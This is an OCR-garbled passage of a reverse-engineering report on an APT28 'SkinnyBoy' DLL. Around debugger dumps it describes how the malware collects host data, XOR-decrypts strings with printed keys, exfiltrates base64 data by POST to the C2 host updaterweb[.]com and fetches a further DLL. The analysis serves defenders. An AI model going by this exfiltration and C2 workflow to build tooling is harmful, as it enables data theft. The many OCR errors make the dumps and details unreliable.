FF 15 E4 B1 D7 6B €all dword ptr ds:[<dInternetOpeni>]

5 -
--------------- - 5 |eat (tacay ~ (5 [2]0] unloct

[esp] GED7EFEC L'Opera”
[esp+4] 00000000
[esp+s] 00000000
[esp+C]_00000000
[esp+10] 00000000
GBD7EFGC | L"Opera”

00000000

dword ptr [6BD7B1E4 <aprt2s.&INTernetOpenis:]—<wininet.INnternetopenws

U

.text:6BD72955 apt28.d11:$2955 #1DS5

Woump1 | @pump2  WHoump3  WHoumpa  Whoumos @ watchi  Iellocals ' struct O2FERSE0

Address | Hex | ASCIT | [ A | Q2FEFE54
02FA3FB3 |20 20 20 2n|zu 20 20 2n|2u 20 20 20‘31 20 20 zu‘ 1 ‘ |

Figure 26

02F6FB5C | 00000000

The send and receive timeouts are set to 600 seconds using the InternetSetOptionW routine (0x6 =
INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT and 0x5 =
INTERNET_OPTION_CONTROL_SEND_TIMEOUT

. 6A 04 push 4
. 8D B85 EC FE FF FF lea eax,dword ptr ss:[Jebp-114] x875tatusWord 0000
. 50 push eax x87SW_B O XBFSW_C3 0 x87SW.CZ O
. 6A 06 push & XB75W_C1 0 XB7SW_CO 0 x87SW_ES O
. 56 push esi si” XB7SW_SF O XB7SW_P 0 X87sW_U o
. C7 85 EC FE FF FF CO 27 09 mov dword ptr ss:[flebp-114],927C0 = = ey
B FF D7 call edi BAETR v =
W comres = 5 | Default (stcal) + [5 2] Unlock
S— . esp] 00CCO004 L"AT"
edi=awininet. Internetsetoptionh> (71755680) [espra] 0000000G
[esp+8] 02FEFBAD
[esp+C]_00000004
.text:6BD72988 apt28.d11:52988 #1D88 pt10] GBD71780 apTzs.&ED71780

Woump1  @ipump2  @Whoump3  @pumps  Whoumps @ watchi  bellocak | P stuct D2FerBo4

Address [Hex ASCII I | A H 02FEFB58
|DZFBFBAD €0°27°09°00/0A 00 00 OO[EQ F7 F6 02]10 AE F9 02 . as P ——

Figure 27
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x87Statusword 0000

6A 04 push 4

8D 85 EC FE FF FF 1ea eax,dword ptr ss:[ebp-114] XB7SW_B 0 xB87SW_C3 0 x87SW._CZ 0

50 push eax XB75W_C1 0 x875wW_CO 0 x875wW_ES 0O

6A 05 push 5 XB7SW_SF 0 X875wW_P 0 X875W_U o

56 puﬂ ezi ety e

FF 07 call edi v

== s Defau\t(stdmlf) +|[5_2][J unlode

esp] 00CCO004 L"AT"
[esp+4] 00000005
[esp+8] 02FGF8AD
[esp+c] 0000DODO4
[esp+10] 68071780 apt28.6BD71780

edi=<wininet. INTErnetsetoptionw> (71755680)

.Text:68D72999 apt28.d11:$2999 #1039

Woump1  @Wpump2  WWDump3  WWDump4  UWDumps @ wakhi  be-llocals | P Struct

00000005
Address | Hex ASCIT |
||32F5FﬁAD €0.27.09.00]0A 00 00 OD[EQ F7 F6 02]10 AR Fo 02| RfL.. .- a0, .«ll. | | H nacecoen c=n11vu: ant=o comTiTon
Figure 28

The malicious process establishes a connection to the C2 server updaterweb[.]Jcom on port 443:

— T Aorim_w 3 LCmply)  ASsim_3 3 Lcmpiy)
o o SUSh ° X87TW_6 3 (Empty) x87TW_7 3 (Empty)
64 03 push 3
€a 00 push o x87Statusword 0000
&4 00 push o X87SW_B 0 X87SW_C3 O XB7SW.C2 O
€3 BE 01 00 00 push 188 X87SW_C1 0 X87SW_CO O X87SWES 0
FF BS CC FE FF FF push dword ptr ss:[febp-134] XB7SW_SF 0 x87SW_P O xB75W U O
56 push esi - ra
FEg— FF 15 CC B1 D7 GB call dword ptr ds: mIn(EFnEt(ﬂnnE(tm] v
R e , | Defeult stacal) ~[5 2] unlock
o [1: [esp] 00CCO002 LUAT"
dword ptr [6BD7BICC <apt28.&INTernetConnectwWs]=<wininet.InTternecConnectws 2: [espr4] 6BD7EFOC L'updaterweb.com”
3: [esp+8] 000001BE
4: [esp+C] 00000000
.TEXT:6BD72987 apt28.d11:$2987 #1DB7 5: [esp+1D] 00000000
Woump1 | @pump2  @Woump3  @MDump4  WDumps @ watchi  Ix=lLocals 2 struct 02F6FBA4 L"updaterweb. com”
Address | Hex ~ B EERE
02F6F8AD [€0. 27 09 00| 0A 00 00 00[EQ EZ F& 02(10 AR F9 02
02FG6F8B0| g3 FD FG 02 77|59 48 38 28|FE FF FF FF | hyo.Pj.w. Ha(byyy 8§E2E§§‘}
02F6FECO AQEO QL 77 89 24 07 00 02FEFE58
02F6FSDO0|ED F9 Fe 02(C1 E1 01 77|00 00 00 00|58 92 E7 02 D2FEFB5C

Figure 29

The NetBIOS name of the local computer is retrieved using the GetComputerNameA API:

50 push eax X87SW_B 0 x875W.C3 0O Xx875W C2
8D 85 58 FB FF FF lea eax,dword ptr ss:|[lebp-4A3] X87SW_C1 0 x875W_C0 0O xB7SW_ES O
50 push eax X87SW_SF 0 X87SW_FP 0 XB7SW_U o
C7 85 54 FB FF FF 04 01 00 mov dword ptr ss:[febp-sacl,104
FF 15 90 BO D7 6B €all dword ptr ds:[<&GetComputerNameA>] v -
PR iz 5 |Default (stdcal) [5_1£]00 unlock
1: [esp] OZFGF3A8
dword ptr [6BD7BO90 <apti8.&GEetCOmMPUTErNameA>]=<Kernelsz.GetComputer NameAs> 2: [esprtd] O2FGF3A4
3: [esp+s] 00CCODO4 L"AT"
4: [esp+C] 7GA74F10 <kernel32.GetLastErrors
.text:6BD721CE apt28.d11:$21C8 #15C8 5: [asp+10] 7052454C winhttp.7052454C

<& D2FGF3A3

Figure 30

GetUserNameA is utilized to extract the name of the user associated with the current thread:

50 push e XB7SW_B 0 xB875W_C3 0 x875w.C2 O
8D 85 &0 FD FF FF lea de derd ptr ss:[lebp-2a0] XB75W_C1 0 xB875W_CO 0O x87SW_ES O
50 push e XB7SW_SF O XB7SW_P 0 x875W_U o
€7 85 54 FB FF FF 04 01 00| muv dwurd ptr ss Eebp-4acl, 104 = - =
15 08 8O D7 6B dword prr ds: [<&GETUSErNaneas] v
----- , | Default (stdcal) ~ [5_[5][] unlock
5 1: [esp] 02FEF5B0
dword ptr [6BD7BOD8 <apt28.&GeTtUserNameA>]=<advapizz.GetUserNameA> 2: [espt4] 02FGF3A4
3: [esp+8] 00CCOOD4 L"AT"
. : 4: [esp+C] 7GAT4F10 <kernel32.GetLastError>
.text: 68072203 apt28.d11:52203 #1603 5: [esptl0] 7052454C winhttp.7052454C
i 02F6F5B0O
| WWoump:  @pump2 @pump3  @pump4  @pumps @ watchi  Ix=llocals ) Struct Fmﬁmozmm. D2FEF3Ad

Figure 31

The malware extracts the volume serial number of the root of the current directory via a function call to

GetVolumelInformationW:

GA DO push 0 & ; 3 R
6A 00 ush 0 =
it gush D X87TW_4 3 (Emptyj 3
Ex oo BiEH XBFTW_6 3 (EmpTy) XB7FTW_7 3 (EmpTy)
aD 85 50 FB FF FF Tea eax dword ptr ss:[Jebp-480]
50 push e x87sStatusword 0000
6A 00 push U XB7SW_B 0O XB7SW_C3 0 XxB7SW_C2 0O
6A 00 push 0 X87SW_C1 0 XB7SW_CO 0O XxB7SW_ES 0O
6a 00 push o XB7SW_SF O XB7SWP O X87SW U 0
C7 B85 50 FB FF FF 00 00 00\ mov_dword ptr ss:[[ebp-480],0 ==
FF 15 98 BO D7 6B €a11 dword ptr ds:[<&GetvolumeInformationw-] v
s 5 Defauit (stdal) ~|[5 2] urlock
es
dword ptr [6BD7B028 <apt28.&GetvolumeInformationw>]=<kernel3z.GetvolumeInformationhs> T ST
[espt8] 0D0000OD
[esp+C] D2F6F3AD
.Text:68D72228 aptzs.d11:$2228 #1628 |5: [esp+10] DoDODODD

Woump1  @ipump2 @Hoump3  @Hoump4  @Houmps B watcht  iellocals P Stuct
ASCII

02F6F37C
02F6F380

>

0044 45 53 48[54 4F 50 2D | L. DESKTOP- 85223;
00|00 00 00 00|00 00 00 00| ZCHNEE ... 4 02F6F38C
oo|00 00 o0 0o|oo 00 00 00.. 02F6F390

00|00 00 00 00|00 00 00 00..

Figure 32

The process decrypts some important strings using the XOR algorithm, the keys being “CEJ&V%$84k839y92m”
and “gpzoamxiendufbtbf3-#$*40fvnpwOPDwdkvn”. The strings “id=%s#%s#%u&cmd=y” and
“id=%s#%s#%u&current=%s&total=%s&data=" have been computed:
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cl=4F ‘0"

.Text:6BD722C0 apt2s.dl11:%$22C0 #16C0

Woump1  @Wpump2  Woump3?  Woump4  WWpumps @ watchi  Ir-llocals ¢ Struct

0O2ZFGFEB4
O2ZFGFG&C4
02FGFeD 4
O2ZFGFGE4

02FG6FGF 4
02FG&F704
02F6F714
02FGF724
02F6F734
02F6F744

Figure 33

not taken

.TeXt:6ED72441 apt28.dl11:$2441 #1841

ﬂ[hm::l

U4 Dump 2 ' 4% pump 3 ' W4 Dump 4 [ U pump 5 | @ warht | teellocis | 37 struct

02FGFGE4
02F6F6C4

02FGF714
02F6FT724
02FGF734

02FGF774
0D2F6GFT7B4
02FGF7924

02F6F7D4 o0 00 00|00 00 OO0 00|00 OO0 OO0 OO0

Figure 34

The output of the systeminfo command + output of the tasklist command + the list of targeted directories and their
content are base-64 encoded using the CryptBinaryToStringA API (0x1 = CRYPT_STRING_BASEG64):

push eax ' IR
mov eax,dword ptr ss:[febp-10f x87statusword 0000
push edi X87SW_B 0 XB7SW.C3 O x875W.C2 O

push 1 X875W_C1 D x875W_C0 O XB7SW_ES 0O
push dword ptr ds:[eax] X87SW_SF O X87SW_P O XB7SWU O
ush dword r ds:

esi]
<&CryptBinaryTostringas

: [espra) 00072489

: [esp+8] 00000001

: [es 04F5E020

.TeXt:EED7211A apt28.d11:$211A #151A : Eesm%] 02ZFGFE50

@44 bump 2

02FA1ESS |79/ 09 00 00[0D DA 48 6F|73 74 20 4E|6L 6D 65 3A|M.....
02FGF340 | 71765040 |wininet. InternetCloseHandle
00CC0004 |L"AT"
02F6FIBC
e

2463 72 70 B 0
0ZFALEFS 72|73 69 6F 6E 20| version: L"trolranell\Namespace

Figure 35
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Address | Hex ASCII
O4F56020| 65 51 6B 41|41 41 20 4B|53 47 39 FA|64 43 42 4F | eQkAAAOKSGIZdCBO
04F56030(| 59 57 31 6L |4F 69 41 67 (49 43 41 67 (49 43 41 &7 | YWl10iAgICAQICAQ
O4F56040( 49 43 41 67|49 43 41 67|49 43 41 &7[(52 45 56 54 ICAiICAiICAiRE‘uT

o4rFssos o | RGN - - - S SO UhP
D4F56060| 0D 0A 44 51|70 50 55 79|42 4F 59 57(31 6C 4F 69|..DOpPUYBOYWL1Od
D4FSE070| 41 67 49 43|41 67 49 43|41 67 49 43|41 67 49 43| AgICAgICAgQICAQIC
D4FSE080| 41 &7 49 43|41 &7 49 43|42 4E 61 57(4E 79 62 33| AgICAQICENawNyb3
D4F56090| 4E 76 SA GE|51 67 56 32(6C 75 SA 47|39 33 63 79| NvZnQgvZIuZGo3cy
D4FSEDAD| 41 78 0D DA|4D 43 42 46|62 6E 52 6C|63 GE 42 79|AX..MCBFbnR1cnBy
D4FSGDB0| 61 58 4E 6C|44 51 70 50|55 79 42 57(5A 58 4A 7A| aXNIDOQpPUYBWZXIZ
D4F560C0| 1 57 39 7S |4F 69 41 67|49 43 41 67|49 43 41 &7 | awouDiAgICAgICAQ
D4FS60D0| 49 43 41 67|49 43 41 67 (49 43 41 75|4D 43 34 77| ICAQICAQICANMC 4w
D4FSGEDED| 4C GA 45 32(0D DA 4D GA|GB 35 49 45(34 76 51 53 |LjEZ..MIKSIE4vOS
D4FSEOFD| 42 43 64 57|6C 73 SA 43(41 78 4E 6A|49 35 4F 51| BCdwlsZCAXNIISOQ
D4F56100| 30 4B 54 21(4D 67 54 57(46 75 64 57 (54 68 59 33| OKTIMgTWFUDWZ hy3
D4F56110|52 31 63 6D|56 79 4F 69|41 67 49 43 (41 67 49 43 |R1cmvy0DiAgICAQIC
D4F56120| 41 67 49 43(41 67 0D DA|54 57 6C 6A[63 6D 39 7A|AgICAg..Twljcmez
D4F56130| 62 32 5A 30(49 45 4F 7elg3 BE 42 76|63 &0 46 30| b2ZOIENVCRBVCMED
O4F56140| 6l 57 39 75|44 51 70 50|55 79 42 44|62 32 35 60| awIuDQpPUyBDb25m
D4F56150| 61 57 64 21|63 6D 46 30|gl 57 75 |4F 69 41 &7 | awdlcmFoawsuoiag

marrracnl an oas oaa e lan as o oaa relan AR AR amlan ra ora o aml TEAATSAA TR A

Figure 36

The HttpOpenRequestW routine is utilized to create an HTTP POST request handle:

e T Ao/ im_% 3 LEmpLY)  AS/IW_3 3 LEmpLy)
68 00 02 00 84 gush 84000200 X87TW_6 3 (Empty)  x87TW_7 3 (EmpTy)
A 00 push 0
6A 00 push o x87Statusword 0000
64 00 push o X87SW_B 0 X87SW_C3 O XB7SW.C2 O
64 00 push o X87SW_C1 0 X87SW_CO O XB7SW_ES 0
63 78 EF D7 68 push apt2s.6BD7EF7S GEDTEF | x87SW_SF 0 X87SW_P O XB7SW_U O
50 push eax e=—= =
FF 15 DC_B1 D7 €8 €all dword ptr ds:[<&HttpOperRequestiw>] v
: = 5 |Default (stdcal) =[5 [2](] unlod:
et == 1: [esp] 0OCCO008
dword ptr [6BD7BIDC <apt28.&HTLPOPENREqUESTW>]=<wininet.HTTPOPEnRequesThs> 3: [esptd] GBD7EFS4 L"POST"
2: [esp+8] 00000000
4: [esp+C]_00000000
. text:6BD71ED7 apt28.d11:$1E97 #1297 5: [asp+id] 00000000

Woump1 | @Woump2  WHoump3  WHoumpa  Whoumos @ watchi  Iellocals ' stuct

Address | Hex ASCII
02F6F8A4 [100] 00 00 00|00 00 00 00|00 00 00 00|00 00 00 B
02FG6F8B4 |00 00 00 00|00 00 00 00|00 00 0O 00|00 00 00
02F6F8C4 |00 00 00 00|00 00 00 00|00 00 00 00|00 00 00

02FGFED4 |00 00 00 00|00 00 00 00|00 00 00 00|00 00 00

L POST"

Figure 37

The malware adds one HTTP request header (“application/x-www-form-urlencoded”) to the HTTP request handle:

68 00 00 D0 AD
6A 03

56

FF 77 0B

FF 15 D8 B1 D7 6B

XB7SW_B O XBFSW_C3 0 X87SW_C2Z O
XB7SW_C1 O XB7SW_CO O X87SW_ES O
XB7SW_SF O XB7SW_P 0 X87SW_U O

v

5 | Default (stcal) ~|[5_[£]0] unlock
—— 1: [esp] 0DOCCOOOC

dword ptr [GBD7B1DS <apt28.&HttpAddReguestHeadersw>]=<wininet.HttpAddRequestHeadersw> 2: [espr4] D4D4F388 L'Content-Type: application/

3: [esp+8] 00000003

4: [esp+C]_A0D0DOODD
.TexT:6BD71F28 apr2s.dl1:§1F28 #1328 5: [esp+l0] 00000039

push A0000OOOD

ush =

push esi

push dword ptr ds:[edi+5]

€all dword ptr ds:[<aHttpaddRequestHeadersws>]

esi:L"

Wioumpi  @hDump2  @Woump3  oump4  WNDumps @ watchi  Ir-llosak o Stuct L"Content-Type: application/x-www-Torm-urlenct

00 6F 00
00 79 00
70 00 6C 00
00 2F 00

6E 00 74 00
70 00 65 00
69 00 63 00
78 00 2D 00
72 00 6D 00
63 00 6F 00

65 00 6E 0O
3A 00 20 00
61 00 74 00
77 00 77 00|77

2D 00 75 00|72 00 6C
64 D0 65 00|64 DO 0D

74 00 2D
61 00 70
kernel32.GetLastError

o i trrnranr Tumas 3nRTsaran v o Faemo e T e

Figure 38

The request is sent to the HTTP server using the HttpSendRequestExW API, as displayed in figure 39:

6a 00 push 0

6A 00 push 0 xB75tatusWord 0000
6a 00 push o XB7SW_B 0 XB7SW_C2 0 x87SW.C2 O
8 45 €C Tea eax,dword ptr ss:[febp-34] XB7SW_C1 O XB7SW_CO O X87SW_ES O
50 push eax XB7SW_SF O XBYSW_P O X87SW_U O
FF 77 08 push dword ptr ds:[edi+s] e =
FF 15 CO B1 D7 €8 €all dword ptr ds:[<&HttpSendRequestExw>] v
e 5 | Default (stdcal) ~ [s_[#] (] unlodt
1: [esp] 00CCOOOC
dword ptr [6BD7BICO <aptzb.&HttpSendRequestExWs]=awininet.HttpSendRequestExW> 2: {Esgl,, 0ZFGF818
3: [esp+r8] 00000000
4: [esp+C] 00000000
.TexXT:6BD71F3E apt28.d11:$1F3E #133E 5: [esp+lDd] 00000000
P D0CCO00C
@Woump1  @pump2  @Mpump3  @Hoump4  Bpumps @ watchi  belLocals & struct ‘02FG6F7F0 | D2FGEE1E
Address | Hex | Asciz I [  |[02keRzE4) nonoonno.
04D4F388 |43/ 00 6F OO[6E 00 74 OD[65 00 6E 00|74 00 20 O0|E.0.n.t.e.n.t.-.| | |ozreF7ec | no0o000OO

Figure 39

In the case of failing to connect to the C2 server on port 443, the process tries to connect on port 80:
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i gzzﬂ 5 X87TW_6 3 (Empty) x87TW_7 3 (Empty)

6A 03 push 2

€A 00 push 0 xa75tatusword 0000

64 00 push o X87SW_B 0 x87SWC3 O XBTSW.CZ O

64 50 push 50 X87SW_C1 0 x87SW_CO O XBTSW_ES O

FF BS CC FE FF FF push dword ptr ss:[febp-134] [ebp-1 X87SW_SF 0 X87SW.P O XB7SW U O

56 push esi esi:L” | =

FF 15 CC Bl D7 EB call dword ptr d <&INternetConnectw-] ~

S e e 5 | Defauit (stical) - [ unlock
1: [esp] 00CCOO04 L"AT'

dword ptr [6BD7BICC <apt28.&InternetConnectw>]=-awininet.InternetConnectw> 2: [esp+4] GEDYEFOC L’updaterweb.com”
3: [esp+8] 00000050
4: [esp+c] 00000000
5

: [esp+10] 00000000

.TeXt:EBD72B5S apt28.dl1:$2B55 #1FSS

@Woump1 | @lpump2  @Hoump3  @Whoumps  Whoumps @ watchi  bellocals P struct
Address

02F6FB44 | 6BD7EFOC | L"updaterweb. com”

04D4F355 08 7 65 0D GE 00|74 00 2D 00|htO.e*0.e.n.t.-. i
04D4F398|54 00 79 00|70 00 65 0D|3A 00 20 00|61 00 70 00|T.y.p.e.i. p- 02FEFB5 4
04D4F3A8(70 00 6C 00(69 00 63 00 0 74 00|69 e 02FEF85S
044£388 | 6€ 00 2F 00|78 00 20 00 = ozFersst

Figure 40

The information extracted before is exfiltrated to the C2 server (id=<hostname>#Username#<Serial number in

decimal>&current=1&total=1&data=<base-64 encoded data computed above>):

push eax X87SW_B 0 X87SW_C3 O X87SW.CZ O
oc push dword ptr s XB7SW_CL 0 x875W_CO O xB75W_ES O
c4 push dword ptr = XB7SW_SF 0 x875W_P 0 xB7SW.U 0O
08 push dword ptr d: d ]
DO B1 D7 &B €all dword ptr ds:[<&Internetwriterilex] w [=
****** e 5 | Default (stdcal) - O unlock
[es

z C000C
: [esp+2] 05006020

i
dword ptr [68D7BIDO <apt28.&INnternetiriterile>]=<wininet.Internetwriterile> 2
3: [esp+8] 00090277
4:
5

[esp+C]_02F6F840

.TeXt:EBD7IFSS apt28.dl1:$1FS5 #1355

: [esp+10] 71768040 <wininet.InternetCloseHand]

@Woump1 | @lpump2  @Hoump3  @Wipump4  Whpumps @ watcht  ellocals P stuct

02F6F7F4

02F6F7F8

ASCII -~
ns00e020 A 2reratn wininet.InternetCloseHandle
05006030 7 |#273112606 S Ve
0500604032 26 62 75 (7 7 7 7 61| 3&current=l1&tota
05006050 H 30| 1=1adata=eQkAAAD kernel32.GetLastError
05006060 7 7 7 1 41| KSGIZACBOYWLT0TA
05006070 41 gIcAgICAgICAGTCA e e T I ey

Figure 41

The thread sets the event created earlier to the signaled state:

ush dword ptr ds: [6BD81B28]
dword ptr e
e 5 | Defeult (stdcall ~ [5_[5][] unlock
1: [esp] 00000278
dword ptr [6BD7BO78 <apta8.&SetEvent-]=<Kernelsz.SetEvents 2: [esprt4] 6BD71780 apt28.6ED71780
3: [esp+s] 6BD71780 apt2s.&BD71780
4: [esp+C] 0D0DODOOO
.text:GED71934 apt28.d11:51934 #D34 5: [esp+id] 00000000
| P = e o e e S e T o e e I P IEEREER] 000002738 |

Figure 42
Thread activity — sub_6BD71960 function

This thread sets the event created earlier now to the nonsignaled state using the ResetEvent routine:

FF 35 23 1B D8 &B push dword ptr ds:|6EDS1B28] i
FF 15 B call dword pt v
=S e = Default (stdcall) >
1: [esp] 00000278
dword ptr [6BD7BOS0 <apt28.dResetEvents]=<kernel3z.ResetEvent> 2: [espra] 6BD71960 apTzs.&BD71960
3: [esp+8] 6BD71960 apt28.6BD71960
4: [esp+C] 00000000
.text:EBD71991 apt23.d11:$1991 2091
W~ - - - Wl -~ - s . L . OOOOOZTB‘

Figure 43

There is a similar workflow starting with calling the InternetOpenW function up until connecting to the C2 server on
port 443 (or port 80 if the first one is unsuccessful). The POST request is different this time because it contains the

“cmd=y” command that is used to download a DLL file:

. push eax 7 XB7SW_B O X875W_C3 O XB7SW C2 O
. push dword ptr ss:|[Jebp+C] X87SW_C1 O X87SW_CO 0 XB7SW ES O
. push dword ptr ss:ljebp-3Cl [e || xB7SW_SF 0 X87SW_P 0 X87SWU O
. push dword ptr ds:[edi+&]
EIP, €all dword ptr ds:[<@Internetwriterile>] w
N ————— = 5 | Defoult (stdcal) ~|[5_[£]0] unlock

1: [esp] 0OCCODOC

2: [esp+4] 0488F65C "1d=DESKTOP-2C 7
3: [esp+8] 00000027

4: [esp+C] D4B8F608

dword ptr [6BD7B1D0 <apt2s.&Internetwriteriles>]=<wininet.InternetwriteFile>

-Text:6BD71F55 apt28.d11:$1F55 #1355

o) ‘00CC000C

@oump1 | @oump2  UWoump3  @loump4  WWpumps @ watchi  Ixellocals 4 Struct omaF;ﬂu 0488FE5C | "'1d=DESKTOP-2C NN #27 3112 6063&cmd=y"
‘0488F5CO0| 00000027
|{‘dl_’tfff_ I_'?x_ e e I‘—\S.C_IZ_.___ _____I A"CMBBFSC4 D488FG08

Figure 44

The malware queries the server to determine the amount of data available using the InternetQueryDataAvailable

routine:

Page 11 of 16



https://cybergeeks.tech/skinnyboy-apt28/

R R = KB/ IW_% 3 LEMpLYy)  KSsIW_S 5 LmmpLy)
89 45 FO mov dword ptr ss:[febp-10],eax XB7TW_6 3 (Empty) xB7TW_7 3 (Empty)
6A 00 push o
8D 45 F4 l1ea eax,dword ptr ss:[febp-Cj x87statusword 0000
8B D3 mov_ebx,ecx eb X87SW_B 0 X87SW. C3 0 X87SW.CZ 0
50 push eax XB7SW_C1 0 X875W_CO O X87SW_ES 0
FF 73 08 push dword ptr ds: [ebx+2] XB7SW_SF O X87SW_P O XB7SW_U O
C7 45 F4 00 00 00 00 mov_dword ptr ss:[febp-cJ,0 R aa
FF 15 C4 Bl D7 6B €alll dword ptr ds:[<dInternetQueryDataAvailable>] v 2
, | Defeult (stdcal) ~ [5 1] unlock
1: [es D00C
dword ptr [6BD7B1C4 <apt2s.&InternetQueryDataAvailable»]=<wininet.InternetQueryDataAvailable> 2: [esp+4] 0D488F60C
3: [esp+8] 00000000
4: [esp+C] 00000000
.text:6BDTIFFF apt28.d11:51FFF #13FF s — -

@oump1 | WHoump2  WMDump3  WHDump4  WhDump5 @ Watchi | b-llocas P Struct ] O oo
e e A ~||83ssr3re | accecaos
Figure 45

The potential DLL file is read from the handle using the InternetReadFile API (the first 4 bytes would represent the

data size and there will also be 32 bytes that represent the SHA256 hash value of the content, as we’ll describe in the

upcoming paragraphs):

. push ecx

. mov_ecx,dword ptr ds:[edi] x875tatusord 0000

. push esi X875W_B 0 x875W C3 0 xB75W C2 O
. add ecx,eax X875W_C1 0 x875W C0 0 xB7S5W_ES 0O
- push ecx X87SW_SF 0 x3875W_P 0 xB7SW_U o
. push dword ptr d

5 |Default (stdcal) ~ |[5_12][] unlock
1: [esp] 00CCODOC

2: [esp+4] 04DG6FDO

3: [esp+8] 0DDO00384
41
5:

dword ptr [6BD7BICB <aprt2s.&InternetReadriler]=<wininet.InternetReadriler

[esp+c]_0488F540

.TeXt:6BD72067 apt28.d11:$2067 #1467 [esp+1D] 00CCO0DOC

@Woump1 | @oump2  @oump3  oump4  WHoumps @ watcht  ixellocals P Struct

Address | Hex | AscIT ] |~
04D66FDO [00] 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00| .vveeeurvnenns | |

Figure 46

0488F520
0485F524
0488F528
N4ARES2C

The expected DLL is base64-encoded because the process tries to decode it using the CryptStringToBinaryA
function (0x1 = CRYPT_STRING_BASEG64):

g: gg 8::: E X87TW_4 3 (Empty) x87TW_5 3 (Empty)
8D 8D E8 FE FF FF lea ecx,dword ptr ss:[febp-113] X87TW_6 3 (EmpTy)  x87TW_7 3 (Empty)
51 push ecx
6A 00 push 0 x875tatusword 0000
6A 01 push 1 X87SW_B 0 X87SWC3 O XB7SW.CZ O
80 47 04 Tea eax,dword ptr ds:[edi+4] X87SW_CL 0 X87SW CO O XB7SW_ES O
6 push esi X87SW_SF 0 X87SW_P O X87SW.U O
50 push eax mmme o oo
FF D3 call ebx EBXICE v (= -
S o e e R Lt L T s Default (stdcall) o
e - - 1 [esp] 02F93E54
Ebx=<crypt3z.CryptstringloBinaryA> (7688£800) 2i [espr4] DOODOSAG
3 [esp+s] 00000001
4: [esp+C] 00000000
.text:6BD72853 apt28.d11:$2853 #1C53 5i [esp+1D] 0488F534
a0 - ” - - ) 7 ) D2F93E54
@oump1  YMoump2  @WDump3  WWoumps  @lDumps Watch1  [=llocals 4 Struet et
T GEeon 00000001
02F93E54 [ 6C 3E 0D 0A|3C 66 65 61|64 3E OD OA|3C 74 €9 74|0>..<head»..<tit Soonogoa
02F93E64 | 6C 65 3E 46|6L 68 65 4E(65 74 2D 4E |47 73| 1e>FakeNet-NG</t i
02F93E74(69 74 6C 65|3E 0D DA 3C|2F 68 65 61|64 3E 0D OA|itles..</head>..
R e e R | e e s R e 0488F554| 00000000

Figure 47

push 0 XB7TW_0 3 (Empty) xB7TW_1 3 (Empty)
'ga‘s’heé‘ S B0 X87TW_2 3 (Empty) XxB7TW_3 3 (Empty)
5 ey x87TW_4 3 (Empty) xB7TW_5 3 (Empty)
;S:he:;;d"md orr Sa:fisky- 134 XB7TW_6 3 (Empty) x87TW_7 3 (Empty)
mov eax,dword ptr ss:[ebp-114]
push esi xB75tatusword 0000
push 1 X87SW_B 0 xB7SW_C3 0 x87SW.C2 0O
push dword ptr ss:[febp-134] XB7SW_C1 0 xB7SW_CO 0 x87SW_ES 0O
add eax, s XB7SW_SF O XxB7SW_P 0 x87SW_U 0O
push eax S ana———
call ebx 5EH v | —————
e T X T T Default (stdcal) ~|[5_E]00 unled
- - 1: [esp] 02F93E54
ebX=<Crypt3z.CryptstringToBinaryA= (7688ESDO) 2: [esp+4] DDODOSAG
3: [esp+8] 00000001
4: [esp+C] 04D4C728
.text:6BD7288C apt28.d11:5288C #1C8C st EESSHE.] 0488F584
- “ ” " - =y = &) 02F93E54
Woumpi  @pump2  Wpump3 W@lpump4  WHoumps @ watch1  [ellocals |  Struct 00D00SAG
00000001
Hex ASCIT e
04D4C72E |80 00 00 00|00 00 00 0O(00 OO OO0 0O(00 00 00 0O|&. D48BF584
04D4C738(00 00 00 00|00 0D 00 00|00 0O 00 00|00 00 00 0O : A
Bt R0 e e e | e e o ca3eF324 53000000

Figure 48

CryptAcquireContextA is utilized to acquire a handle to the Microsoft RSA and AES Cryptographic Provider (0x18
=PROV_RSA_AES):
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Aosim_3 3 LEmpLy
xB7TW_5 3 (Empty)
x87TW_7 3 (Empty)

Aosim_c 3 yEmpiyy
X87TW_4 3 (Empty)
X87TW_6 3 (Empty)

x875tatusword 0000

X875W_B XB7SW_C3 0 XB7SW.C2 0
X875W_C1 O XB7SW_CO 0O XxB7SW_ES 0
X87SW_SF O XB7SW_P 0 XB7SW_U 0

=[5 (] unied

v
Default (stdcall)
[esp] 0488F6CC

. 68 00 00 00 FO push FO0000DO
. 6A 18 push 18
. 6A 00 push 0
. 88 FO mov esi,eax
. 6A 00 pus
. 8D 44 24 34 Tea eax,dword ptr ss:[es
. 50 ush eax
. €7 44 24 38 00 00 00 00 |mov dword prr ss:[fes g0
. C7 44 24 3C 00 00 00 00 |mov dword ptr ss:[fesp+3c,0
(EIP g 11 FF 15 18 BO D7 6 na'|1 Mrd _ptr ds: [«crypmcqmrn’.unteucb]
= e -
dword ptr [6BD7BO18 <aptz8.&CryprAcquireContextA>]=<advapi3z.CryptAcquireContexta>
. text:6BD71AB7 apt28.d11:51A87 #E87

i
2: [esp+4] 00000000
2: [esp+s8] 00000000
4: [esp+C]_ 00000018
5: [esp+10] FO00000O

@ D4BBFGCC

@Woump1 | @Yoump2  Wpump3  Whoumps  @Dumps @ wath1  xllecals & Stuct 0438F 698
Address | Hex | ascII ] [ || 0488F€3C moooooooo
0. 00 00 00 00 00 00 00 00 00 nu‘ ................ | | OASBlel FO000000

Figure 49

The CryptCreateHash routine is used to create a handle to a CSP (cryptographic service provider) hash object

(0x800c = CALG_SHA_256):

. 50 push eax

. 64 00 push o

. 64 00 push o

. 63 OC 80 0O 0O push 800C

. FF 74 24 34 push dword ptr sc:[fesp+34]
Fg—>e FF 15 14 BO D7 GB €all dword ptr ds:[<&CryptCreateHash>]

- e e —— 2

XB/3TATUSNOrG LULL

X87SW_B 0 xB87SW_C3 O X87SW_C2 O
X87SW_C1 O xB87SW_CO O X87SW_ES O
X87TSW_SF 0 0 X87SW_U O

XB7SW_P

N
Dafau\t(stdmln

dword ptr [68D7BOL4 <apt28.&CryptCreateHash»]=<advapi3z.Cryptcreaterash>

.text:6BD7LAAD apt28.d11:$1AAD #EAD

4% Dump 1 444 Dump 2 444 Dump 3 @44 Dump 4 @5 Dump 5 A watch 1 Ix=] Locals :{i’ Struct

>
1: [esp] D4COF660 qu:mcqmracumexb
2: [esp+4] 000080
3: [esp+a] 00000000
4: [esp+C]_00000000
5: [esp+10] 0438FED0

DACIFGE0

0485F698 | D000800C

~

Address | Hex | Asc1I ]
02F997A8 {007 00 00 00[00 00 00 00[00 00 00 00[0D 0O 00 00| -

Figure 50

0
0488F6A4 | D488FED0

